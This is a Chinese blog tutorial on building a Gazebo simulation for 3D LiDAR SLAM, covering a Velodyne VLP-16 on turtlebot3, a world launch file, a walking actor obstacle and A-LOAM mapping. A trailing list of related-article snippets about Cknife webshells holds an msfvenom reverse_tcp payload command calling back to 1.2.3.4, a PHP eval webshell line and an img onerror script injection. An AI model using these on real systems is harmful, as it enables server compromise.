从零开始的三维激光雷达SLAM教程第二讲(搭建Gazebo仿真环境,并添加动态障碍物)

article/2025/9/30 22:45:49

文章目录

  • 引言
  • 第二节:搭建仿真环境
    • 下载velodyne激光模拟功能包
    • 安装turtlebot3模拟器
    • 安装三维激光雷达到turtlebot3上
    • 构建Gazebo地图
    • 添加动态障碍物
    • 操作机器人建图
    • 最终效果

引言

毕业设计打算做三维激光SLAM,记录一些学习历程,也给后面人一点帮助。本教程不涉及SLAM基本概念(如果没有自行补充),主要包含以下几部分内容。

  1. 搭建激光SLAM的运行环境并运行数据集
  2. 在Gazebo中构建仿真地图并添加动态障碍物,使用仿真小车采集激光数据。
  3. A-LOAM详解,算法+代码
  4. Lego-LOAM详解,算法+代码
    完整代码链接在第一讲中

第二节:搭建仿真环境

下载velodyne激光模拟功能包

在完成上一节的内容后,直接clone这个包,然后编译

git clone https://github.com/lmark1/velodyne_simulator.git

需要根据你自己的ros版本安装对应包

sudo apt-get install ros-kinetic-velodyne-*

然后运行即可,运行如果gazebo一直卡住,参考解决方案

roslaunch velodyne_description example.launch 

然后你就会看到机器人在场景中,以及rviz显示的点云图,它提供了16线和32线的模拟。
在这里插入图片描述

安装turtlebot3模拟器

turtlebot是使用最多的机器人模拟器,如果没安装的话请先安装

sudo apt-get install ros-noetic-turtlebot3-*

安装三维激光雷达到turtlebot3上

我是默认你对urdf有一点了解的,当然其实也很简单,本质上还是个xml文件,每个标签代表了机器人的一部分。我们先在/opt/ros/xxx/share目录下找到turtlebot3的description功能包,为了不修改,我们把urdf文件托到自己功能包下修改,并增加VLP模块。VLP模块也要拖到自己功能包下,仿照velodyne_description中给的例子修改(需要注释掉inertial标签,因为激光的重量会造成机器人的翻倒)。
PS:gpu这个变量非常重要,只有设置为gpu的时候,才可以检测到动态障碍物,但是对性能要求更高

  <xacro:include filename="$(find 3d_slam_simulation)/urdf/VLP-16.urdf.xacro"/><xacro:VLP-16 parent="base_link" name="velodyne" topic="/velodyne_points" hz="10" samples="440" gpu="false"><origin xyz="0 0 0.2" rpy="0 0 0" /></xacro:VLP-16>

具体内容看我给的github链接

构建Gazebo地图

可以参考这篇博客自己搭建仿真环境,当然我功能包里面有一个搭好的环境。在gazebo中添加地图也可以不显示GUI界面,后台运行,你操作机器人移动可以看激光雷达,在电脑运行不过来GUI的时候可以这么做,对虚拟机友好。

  <include file="$(find gazebo_ros)/launch/empty_world.launch"><arg name="world_name" value="$(find 3d_slam_simulation)/world/gallery.world"/><arg name="paused" value="false"/><arg name="use_sim_time" value="true"/><arg name="gui" value="false"/><arg name="headless" value="false"/><arg name="debug" value="false"/></include>

添加动态障碍物

Gazebo中添加了actor单位,可以通过指定巡航点的方式让其在环境中自行运动(当然也可以自己写插件,实现更复杂的运动规划)官方教程,其实很容易看懂,skin就是导入了一个人形的皮肤;animation就是让人以什么动作运动(可以跑步、走路、太空漫步等),然后运动做插值可以更顺畅;script里面是如何规划运动,直接使用trajectory标签就是根据waypoint点巡航,运动点首位相接就形成反复绕圈的景象,不相接会瞬间移动。

<actor name="actor"><skin><filename>walk.dae</filename></skin><animation name="walking"><filename>walk.dae</filename><interpolate_x>true</interpolate_x></animation><script><trajectory id="0" type="walking"><waypoint><time>0</time><pose>0 2 0 0 0 -1.57</pose></waypoint><waypoint><time>2</time><pose>0 -2 0 0 0 -1.57</pose></waypoint><waypoint><time>2.5</time><pose>0 -2 0 0 0 1.57</pose></waypoint><waypoint><time>7</time><pose>0 2 0 0 0 1.57</pose></waypoint><waypoint><time>7.5</time><pose>0 2 0 0 0 -1.57</pose></waypoint></trajectory></script>
</actor>

操作机器人建图

安装键盘操作机器人运行的功能包

sudo apt-get install ros-kinetic-teleop-twist-keyboard

使用功能包控制机器人运行并建图,也可以先录制成rosbag后再播放建图,对电脑压力小一些。
aloam要先启动地图,再启动算法(不清楚为什么,不然会出现问题)

roslaunch 3d_slam_simulation gazebo_turtlebot3.launch 
roslaunch aloam_velodyne aloam_velodyne_VLP_16.launch 
rosrun teleop_twist_keyboard teleop_twist_keyboard.py

最终效果

在这里插入图片描述

在这里插入图片描述


http://chatgpt.dhexx.cn/article/lUipPSZV.shtml

相关文章

Cknife与一句话木马提权

Cknife:一个管理网站的工具&#xff0c;支持动态脚本的网站的管理&#xff0c;用来连接一句话木马 一句话木马:一句恶意代码&#xff0c;可以是某种脚本语言&#xff0c;用来与客户端建立联系 通过中国菜刀连接一句话木马达到拿下网站webshell

Cknife的安装

下载菜刀&#xff0c;打开Cknife.jar软件 注意&#xff1a;这里的菜刀文件存放的目录不要带有中文 打开 没错&#xff0c;这是我们熟悉的pikachu 但是这个网站的上传漏洞我还没学&#xff0c;所以暂时没法操作&#xff08;等发了上传漏洞的视频我就来改&#xff09; 基本思路…

cknife连接失败

这是什么原因啊

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式&#xff1a; 1、打开项目&#xff0c;打开FIile->Project Structure...菜单.如下图&#xff1a; 选中Artifacts,点号&#xff0c;选择JAR,再选择From modules with dependencies...&#xff0c;如下图&#xff1a; 在打开的界面中…

dvwa 切换php版本以及phpstorm -xdebug的配置使用

最近由于需要对dvwa 进行一些更改&#xff0c;对php啥也不懂的我&#xff0c;开始研究一下php开发环境&#xff0c;以及具体的搭建过程&#xff1b; 首先是需要下载安装破解phpstorm&#xff08;不多说了&#xff0c;下载官网地址&#xff0c;破解网上一堆文章&#xff09; 1…

上传漏洞-一句话木马

声明&#xff1a;为什么又写一篇关于一句话木马&#xff0c;对&#xff0c;我第一次没写明白&#xff0c;直写了一句话木马的简单制作&#xff0c;但是还是有很多同学真的看不懂&#xff0c;所以我今天改一下&#xff0c;这次精写&#xff01; 上传漏洞-一句话木马 讲述内容&…

[对抗训练]“中国菜刀”安装,20180222

[对抗训练]“中国菜刀”安装与使用 一、下载开源代码 从GitHub上下载开源的“中国菜刀”Java项目代码 地址&#xff1a;https://github.com/Chora10/Cknife压缩文件见附件1。 二、将项目存为可执行jar 打开eclipse&#xff08;或其他java编辑器&#xff09; 添加解压后的“中国…

我的java16和java8冲突解决办法(java版本冲突解决方法)

我的java16和java8冲突解决办 我的问题 vscode 支持java11以上burpsuite 支持java11以上cknife 只能java8JEB 只能java8全局变量设置java16的路径 对于java8 直接把只支持java8的文件目录放到java8中 在这里中用的是java8,这个目录有java文件 这个脚本可以自动隐藏窗口打开一…

msf上传文件到服务器,利用MSF技巧进入服务器

原标题&#xff1a;利用MSF技巧进入服务器 首先需要一台公网的机器,这是留着方便以后转发或者反弹用的. 1.生成payload的方式 msfvenom -p windows/meterpreter/reverse_tcp LHOST1.2.3.4 LPORT2333 -f exe -o 1234.exe 之后把后门复制出来上传到webshell 推荐不使用exe后缀 因…

mbp 封神台靶场 六(笔记)

打开链接&#xff0c;根据题目提示&#xff0c;flag在c盘根目录下&#xff0c;接上一关的网页后台&#xff0c;打开c盘,发现确实存在flag.txt&#xff0c;但是提示没有权限。 于是知道本关需要我们去进行提权操作&#xff0c;打开D盘&#xff0c;发现cmd.exe和iis6.exe&#xf…

张小白的渗透之路(五)——上传漏洞及解析漏洞详解

前言 web应用程序通常会有文件上传的功能&#xff0c;例如在BBS发布图片、在个人网站发布压缩包&#xff0c;只要web应用程序允许上传文件&#xff0c;就有可能存在文件上传漏洞。 上传漏洞与sql注射相比&#xff0c;风险更大&#xff0c;如果web应用程序存在上传漏洞&#xf…

Kali下常见webshell管理工具汇总

转 自 https://www.ohlinge.cn/kali/kali_webshell.html 0x01 前言 Kali Linux作为一款专为渗透测试而生的Linux操作系统&#xff0c;在安全界的影响广泛。一般的webshell在Windows下面经常使用Chopper(中国菜刀)来管理&#xff0c;那么在Linux下面&#xff0c;有没有类似的工…

菜刀渗透

快速搭建discuz论坛 使用kali下BurpSuite对discuz后台注入php木马 使用Cknife“菜刀”.上传webshell木马到网站 使用Webshell查看mysql数据库密码并盗取数据库 快速搭建discuz论坛 攻击思路 想要拿下一台主机A的权限&#xff1a; 1、了解一下这个服务器:端口,服务器版本…

无法直接打开jar文件,提示“你要以何种方式打开.jar文件”(已解决)

问题引入&#xff1a; 网络安全&CTF竞赛中有很多封装好的工具类似Cknife/CTFcrackTools.jar/Stegsolve.jar需要java环境打开 问题描述&#xff1a; .jar文件只能通过dos命令打开&#xff0c;点击jar文件提示你要以何种方式打开.jar文件&#xff0c;并且选中jdk/bin/java…

开源渗透测试工具合集

子域名枚举工具 子域枚举和信息收集工具 Anubis 项目地址&#xff1a;https://github.com/jonluca/Anubis使用名为 Hacking with search engine 的技术列出有关主域的子域 N4xD0rk 项目地址&#xff1a;https://github.com/n4xh4ck5/N4xD0rk子域名爆破枚举工具 subDomainsBrut…

DVWA的upload文件上传漏洞(全难度)(小白向)

提示&#xff1a;只是为了方便理解&#xff0c;但不一定符合您的要求 文章目录 一、等级&#xff1a;low 二、等级&#xff1a;medium 三、等级&#xff1a;high 四&#xff1a;等级&#xff1a;impossible 前言 靶机ip&#xff1a;192.168.229.145 DVWA版本&#xff1a;v1.…

c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源&#xff0c;所以安全。因为可操作的空间挺大的&#xff0c;也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。 但是使用过程中也遇到了一些小问题&#xff0c;被吐槽最多的就是…

致远OA_0day批量植Cknife马一步到位

最近各位师傅都在刷这个嘛&#xff0c;原本的exp是上传一个test123456.jsp的命令执行的马子&#xff0c;不过我在试的时候发现替换成C刀一句话出错,原因未知&#xff0c;并且test123456.jsp如果存在的话用原来exp是无法覆盖的。参考改进了t00ls师傅的代码(https://www.t00ls.ne…

linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 相关阅读&#xff1a; 0x00 前言 很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版&#xff0c;仅仅多了跨平台的功能&#xff0c;其实小伙伴…

Cknife流量分析

本文首发&#xff1a;https://<img src1 οnerrοr\u006coc\u0061tionj\x61v\x61script:\x61lert\x281\x29>testdemo 0x01 环境 <?php eval($_REQUEST[shell] ?> 0x02 命令执行 执行命令结果如下图所示 POST的数据如下图所示 对POST的数据解码 #shell eval(base6…